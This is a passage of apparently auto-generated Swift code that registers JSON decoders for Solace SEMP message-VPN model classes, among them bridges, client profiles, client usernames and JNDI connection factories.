instance.password = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["password"])
instance.queueBinding = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueBinding"])
instance.remoteMsgVpnInterface = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteMsgVpnInterface"])
instance.remoteMsgVpnLocation = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteMsgVpnLocation"])
instance.remoteMsgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteMsgVpnName"])
instance.tlsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["tlsEnabled"])
instance.unidirectionalClientProfile = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["unidirectionalClientProfile"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteMsgVpnLinks]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteMsgVpnLinks].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteMsgVpnLinks] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteMsgVpnLinks].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteMsgVpnLinks
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteMsgVpnLinks.self) { (source: AnyObject) -> MsgVpnBridgeRemoteMsgVpnLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteMsgVpnLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteMsgVpnResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteMsgVpnResponse].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteMsgVpnResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteMsgVpnResponse].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteMsgVpnResponse
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteMsgVpnResponse.self) { (source: AnyObject) -> MsgVpnBridgeRemoteMsgVpnResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteMsgVpnResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnBridgeRemoteMsgVpn.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnBridgeRemoteMsgVpnLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteMsgVpnsResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteMsgVpnsResponse].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteMsgVpnsResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteMsgVpnsResponse].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteMsgVpnsResponse
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteMsgVpnsResponse.self) { (source: AnyObject) -> MsgVpnBridgeRemoteMsgVpnsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteMsgVpnsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteSubscription]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteSubscription].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteSubscription] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteSubscription].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteSubscription
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteSubscription.self) { (source: AnyObject) -> MsgVpnBridgeRemoteSubscription in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteSubscription()
instance.bridgeName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["bridgeName"])
instance.bridgeVirtualRouter = MsgVpnBridgeRemoteSubscription.BridgeVirtualRouter(rawValue: (sourceDictionary["bridgeVirtualRouter"] as? String) ?? "")
instance.deliverAlwaysEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["deliverAlwaysEnabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.remoteSubscriptionTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["remoteSubscriptionTopic"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteSubscriptionLinks]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteSubscriptionLinks].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteSubscriptionLinks] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteSubscriptionLinks].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteSubscriptionLinks
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteSubscriptionLinks.self) { (source: AnyObject) -> MsgVpnBridgeRemoteSubscriptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteSubscriptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteSubscriptionResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteSubscriptionResponse].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteSubscriptionResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteSubscriptionResponse].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteSubscriptionResponse
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteSubscriptionResponse.self) { (source: AnyObject) -> MsgVpnBridgeRemoteSubscriptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteSubscriptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnBridgeRemoteSubscription.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnBridgeRemoteSubscriptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeRemoteSubscriptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeRemoteSubscriptionsResponse].self) { (source: AnyObject) -> [MsgVpnBridgeRemoteSubscriptionsResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeRemoteSubscriptionsResponse].self, source: source)
}
// Decoder for MsgVpnBridgeRemoteSubscriptionsResponse
Decoders.addDecoder(clazz: MsgVpnBridgeRemoteSubscriptionsResponse.self) { (source: AnyObject) -> MsgVpnBridgeRemoteSubscriptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeRemoteSubscriptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeResponse].self) { (source: AnyObject) -> [MsgVpnBridgeResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeResponse].self, source: source)
}
// Decoder for MsgVpnBridgeResponse
Decoders.addDecoder(clazz: MsgVpnBridgeResponse.self) { (source: AnyObject) -> MsgVpnBridgeResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnBridge.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnBridgeLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeTlsTrustedCommonName]
Decoders.addDecoder(clazz: [MsgVpnBridgeTlsTrustedCommonName].self) { (source: AnyObject) -> [MsgVpnBridgeTlsTrustedCommonName] in
return Decoders.decode(clazz: [MsgVpnBridgeTlsTrustedCommonName].self, source: source)
}
// Decoder for MsgVpnBridgeTlsTrustedCommonName
Decoders.addDecoder(clazz: MsgVpnBridgeTlsTrustedCommonName.self) { (source: AnyObject) -> MsgVpnBridgeTlsTrustedCommonName in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeTlsTrustedCommonName()
instance.bridgeName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["bridgeName"])
instance.bridgeVirtualRouter = MsgVpnBridgeTlsTrustedCommonName.BridgeVirtualRouter(rawValue: (sourceDictionary["bridgeVirtualRouter"] as? String) ?? "")
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.tlsTrustedCommonName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["tlsTrustedCommonName"])
return instance
}
// Decoder for [MsgVpnBridgeTlsTrustedCommonNameLinks]
Decoders.addDecoder(clazz: [MsgVpnBridgeTlsTrustedCommonNameLinks].self) { (source: AnyObject) -> [MsgVpnBridgeTlsTrustedCommonNameLinks] in
return Decoders.decode(clazz: [MsgVpnBridgeTlsTrustedCommonNameLinks].self, source: source)
}
// Decoder for MsgVpnBridgeTlsTrustedCommonNameLinks
Decoders.addDecoder(clazz: MsgVpnBridgeTlsTrustedCommonNameLinks.self) { (source: AnyObject) -> MsgVpnBridgeTlsTrustedCommonNameLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeTlsTrustedCommonNameLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnBridgeTlsTrustedCommonNameResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeTlsTrustedCommonNameResponse].self) { (source: AnyObject) -> [MsgVpnBridgeTlsTrustedCommonNameResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeTlsTrustedCommonNameResponse].self, source: source)
}
// Decoder for MsgVpnBridgeTlsTrustedCommonNameResponse
Decoders.addDecoder(clazz: MsgVpnBridgeTlsTrustedCommonNameResponse.self) { (source: AnyObject) -> MsgVpnBridgeTlsTrustedCommonNameResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeTlsTrustedCommonNameResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnBridgeTlsTrustedCommonName.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnBridgeTlsTrustedCommonNameLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgeTlsTrustedCommonNamesResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgeTlsTrustedCommonNamesResponse].self) { (source: AnyObject) -> [MsgVpnBridgeTlsTrustedCommonNamesResponse] in
return Decoders.decode(clazz: [MsgVpnBridgeTlsTrustedCommonNamesResponse].self, source: source)
}
// Decoder for MsgVpnBridgeTlsTrustedCommonNamesResponse
Decoders.addDecoder(clazz: MsgVpnBridgeTlsTrustedCommonNamesResponse.self) { (source: AnyObject) -> MsgVpnBridgeTlsTrustedCommonNamesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgeTlsTrustedCommonNamesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnBridgesResponse]
Decoders.addDecoder(clazz: [MsgVpnBridgesResponse].self) { (source: AnyObject) -> [MsgVpnBridgesResponse] in
return Decoders.decode(clazz: [MsgVpnBridgesResponse].self, source: source)
}
// Decoder for MsgVpnBridgesResponse
Decoders.addDecoder(clazz: MsgVpnBridgesResponse.self) { (source: AnyObject) -> MsgVpnBridgesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnBridgesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnClientProfile]
Decoders.addDecoder(clazz: [MsgVpnClientProfile].self) { (source: AnyObject) -> [MsgVpnClientProfile] in
return Decoders.decode(clazz: [MsgVpnClientProfile].self, source: source)
}
// Decoder for MsgVpnClientProfile
Decoders.addDecoder(clazz: MsgVpnClientProfile.self) { (source: AnyObject) -> MsgVpnClientProfile in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientProfile()
instance.allowBridgeConnectionsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowBridgeConnectionsEnabled"])
instance.allowCutThroughForwardingEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowCutThroughForwardingEnabled"])
instance.allowGuaranteedEndpointCreateEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowGuaranteedEndpointCreateEnabled"])
instance.allowGuaranteedMsgReceiveEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowGuaranteedMsgReceiveEnabled"])
instance.allowGuaranteedMsgSendEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowGuaranteedMsgSendEnabled"])
instance.allowTransactedSessionsEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowTransactedSessionsEnabled"])
instance.apiQueueManagementCopyFromOnCreateName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["apiQueueManagementCopyFromOnCreateName"])
instance.apiTopicEndpointManagementCopyFromOnCreateName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["apiTopicEndpointManagementCopyFromOnCreateName"])
instance.clientProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientProfileName"])
instance.compressionEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["compressionEnabled"])
instance.elidingDelay = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["elidingDelay"])
instance.elidingEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["elidingEnabled"])
instance.elidingMaxTopicCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["elidingMaxTopicCount"])
instance.eventClientProvisionedEndpointSpoolUsageThreshold = Decoders.decodeOptional(clazz: EventThresholdByPercent.self, source: sourceDictionary["eventClientProvisionedEndpointSpoolUsageThreshold"])
instance.eventConnectionCountPerClientUsernameThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventConnectionCountPerClientUsernameThreshold"])
instance.eventEgressFlowCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventEgressFlowCountThreshold"])
instance.eventEndpointCountPerClientUsernameThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventEndpointCountPerClientUsernameThreshold"])
instance.eventIngressFlowCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventIngressFlowCountThreshold"])
instance.eventServiceSmfConnectionCountPerClientUsernameThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceSmfConnectionCountPerClientUsernameThreshold"])
instance.eventServiceWebConnectionCountPerClientUsernameThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventServiceWebConnectionCountPerClientUsernameThreshold"])
instance.eventSubscriptionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventSubscriptionCountThreshold"])
instance.eventTransactedSessionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventTransactedSessionCountThreshold"])
instance.eventTransactionCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventTransactionCountThreshold"])
instance.maxConnectionCountPerClientUsername = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxConnectionCountPerClientUsername"])
instance.maxEgressFlowCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxEgressFlowCount"])
instance.maxEndpointCountPerClientUsername = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxEndpointCountPerClientUsername"])
instance.maxIngressFlowCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxIngressFlowCount"])
instance.maxSubscriptionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxSubscriptionCount"])
instance.maxTransactedSessionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTransactedSessionCount"])
instance.maxTransactionCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTransactionCount"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.queueControl1MaxDepth = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueControl1MaxDepth"])
instance.queueControl1MinMsgBurst = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueControl1MinMsgBurst"])
instance.queueDirect1MaxDepth = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect1MaxDepth"])
instance.queueDirect1MinMsgBurst = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect1MinMsgBurst"])
instance.queueDirect2MaxDepth = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect2MaxDepth"])
instance.queueDirect2MinMsgBurst = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect2MinMsgBurst"])
instance.queueDirect3MaxDepth = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect3MaxDepth"])
instance.queueDirect3MinMsgBurst = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueDirect3MinMsgBurst"])
instance.queueGuaranteed1MaxDepth = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueGuaranteed1MaxDepth"])
instance.queueGuaranteed1MinMsgBurst = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["queueGuaranteed1MinMsgBurst"])
instance.rejectMsgToSenderOnNoSubscriptionMatchEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["rejectMsgToSenderOnNoSubscriptionMatchEnabled"])
instance.replicationAllowClientConnectWhenStandbyEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["replicationAllowClientConnectWhenStandbyEnabled"])
instance.serviceSmfMaxConnectionCountPerClientUsername = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceSmfMaxConnectionCountPerClientUsername"])
instance.serviceWebInactiveTimeout = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceWebInactiveTimeout"])
instance.serviceWebMaxConnectionCountPerClientUsername = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceWebMaxConnectionCountPerClientUsername"])
instance.serviceWebMaxPayload = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["serviceWebMaxPayload"])
instance.tcpCongestionWindowSize = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpCongestionWindowSize"])
instance.tcpKeepaliveCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpKeepaliveCount"])
instance.tcpKeepaliveIdleTime = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpKeepaliveIdleTime"])
instance.tcpKeepaliveInterval = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpKeepaliveInterval"])
instance.tcpMaxSegmentSize = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpMaxSegmentSize"])
instance.tcpMaxWindowSize = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["tcpMaxWindowSize"])
instance.tlsAllowDowngradeToPlainTextEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["tlsAllowDowngradeToPlainTextEnabled"])
return instance
}
// Decoder for [MsgVpnClientProfileLinks]
Decoders.addDecoder(clazz: [MsgVpnClientProfileLinks].self) { (source: AnyObject) -> [MsgVpnClientProfileLinks] in
return Decoders.decode(clazz: [MsgVpnClientProfileLinks].self, source: source)
}
// Decoder for MsgVpnClientProfileLinks
Decoders.addDecoder(clazz: MsgVpnClientProfileLinks.self) { (source: AnyObject) -> MsgVpnClientProfileLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientProfileLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnClientProfileResponse]
Decoders.addDecoder(clazz: [MsgVpnClientProfileResponse].self) { (source: AnyObject) -> [MsgVpnClientProfileResponse] in
return Decoders.decode(clazz: [MsgVpnClientProfileResponse].self, source: source)
}
// Decoder for MsgVpnClientProfileResponse
Decoders.addDecoder(clazz: MsgVpnClientProfileResponse.self) { (source: AnyObject) -> MsgVpnClientProfileResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientProfileResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnClientProfile.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnClientProfileLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnClientProfilesResponse]
Decoders.addDecoder(clazz: [MsgVpnClientProfilesResponse].self) { (source: AnyObject) -> [MsgVpnClientProfilesResponse] in
return Decoders.decode(clazz: [MsgVpnClientProfilesResponse].self, source: source)
}
// Decoder for MsgVpnClientProfilesResponse
Decoders.addDecoder(clazz: MsgVpnClientProfilesResponse.self) { (source: AnyObject) -> MsgVpnClientProfilesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientProfilesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnClientUsername]
Decoders.addDecoder(clazz: [MsgVpnClientUsername].self) { (source: AnyObject) -> [MsgVpnClientUsername] in
return Decoders.decode(clazz: [MsgVpnClientUsername].self, source: source)
}
// Decoder for MsgVpnClientUsername
Decoders.addDecoder(clazz: MsgVpnClientUsername.self) { (source: AnyObject) -> MsgVpnClientUsername in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientUsername()
instance.aclProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfileName"])
instance.clientProfileName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientProfileName"])
instance.clientUsername = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientUsername"])
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.guaranteedEndpointPermissionOverrideEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["guaranteedEndpointPermissionOverrideEnabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.password = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["password"])
instance.subscriptionManagerEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["subscriptionManagerEnabled"])
return instance
}
// Decoder for [MsgVpnClientUsernameLinks]
Decoders.addDecoder(clazz: [MsgVpnClientUsernameLinks].self) { (source: AnyObject) -> [MsgVpnClientUsernameLinks] in
return Decoders.decode(clazz: [MsgVpnClientUsernameLinks].self, source: source)
}
// Decoder for MsgVpnClientUsernameLinks
Decoders.addDecoder(clazz: MsgVpnClientUsernameLinks.self) { (source: AnyObject) -> MsgVpnClientUsernameLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientUsernameLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnClientUsernameResponse]
Decoders.addDecoder(clazz: [MsgVpnClientUsernameResponse].self) { (source: AnyObject) -> [MsgVpnClientUsernameResponse] in
return Decoders.decode(clazz: [MsgVpnClientUsernameResponse].self, source: source)
}
// Decoder for MsgVpnClientUsernameResponse
Decoders.addDecoder(clazz: MsgVpnClientUsernameResponse.self) { (source: AnyObject) -> MsgVpnClientUsernameResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientUsernameResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnClientUsername.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnClientUsernameLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnClientUsernamesResponse]
Decoders.addDecoder(clazz: [MsgVpnClientUsernamesResponse].self) { (source: AnyObject) -> [MsgVpnClientUsernamesResponse] in
return Decoders.decode(clazz: [MsgVpnClientUsernamesResponse].self, source: source)
}
// Decoder for MsgVpnClientUsernamesResponse
Decoders.addDecoder(clazz: MsgVpnClientUsernamesResponse.self) { (source: AnyObject) -> MsgVpnClientUsernamesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnClientUsernamesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiConnectionFactoriesResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiConnectionFactoriesResponse].self) { (source: AnyObject) -> [MsgVpnJndiConnectionFactoriesResponse] in
return Decoders.decode(clazz: [MsgVpnJndiConnectionFactoriesResponse].self, source: source)
}
// Decoder for MsgVpnJndiConnectionFactoriesResponse
Decoders.addDecoder(clazz: MsgVpnJndiConnectionFactoriesResponse.self) { (source: AnyObject) -> MsgVpnJndiConnectionFactoriesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiConnectionFactoriesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiConnectionFactory]
Decoders.addDecoder(clazz: [MsgVpnJndiConnectionFactory].self) { (source: AnyObject) -> [MsgVpnJndiConnectionFactory] in
return Decoders.decode(clazz: [MsgVpnJndiConnectionFactory].self, source: source)
}
// Decoder for MsgVpnJndiConnectionFactory
Decoders.addDecoder(clazz: MsgVpnJndiConnectionFactory.self) { (source: AnyObject) -> MsgVpnJndiConnectionFactory in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiConnectionFactory()
instance.allowDuplicateClientIdEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["allowDuplicateClientIdEnabled"])
instance.clientDescription = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientDescription"])
instance.clientId = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientId"])
instance.connectionFactoryName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["connectionFactoryName"])
instance.dtoReceiveOverrideEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["dtoReceiveOverrideEnabled"])
instance.dtoReceiveSubscriberLocalPriority = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["dtoReceiveSubscriberLocalPriority"])
instance.dtoReceiveSubscriberNetworkPriority = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["dtoReceiveSubscriberNetworkPriority"])
instance.dtoSendEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["dtoSendEnabled"])
instance.dynamicEndpointCreateDurableEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["dynamicEndpointCreateDurableEnabled"])
instance.dynamicEndpointRespectTtlEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["dynamicEndpointRespectTtlEnabled"])
instance.guaranteedReceiveAckTimeout = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["guaranteedReceiveAckTimeout"])
instance.guaranteedReceiveWindowSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["guaranteedReceiveWindowSize"])
instance.guaranteedReceiveWindowSizeAckThreshold = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["guaranteedReceiveWindowSizeAckThreshold"])
instance.guaranteedSendAckTimeout = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["guaranteedSendAckTimeout"])
instance.guaranteedSendWindowSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["guaranteedSendWindowSize"])
instance.messagingDefaultDeliveryMode = MsgVpnJndiConnectionFactory.MessagingDefaultDeliveryMode(rawValue: (sourceDictionary["messagingDefaultDeliveryMode"] as? String) ?? "")
instance.messagingDefaultDmqEligibleEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["messagingDefaultDmqEligibleEnabled"])
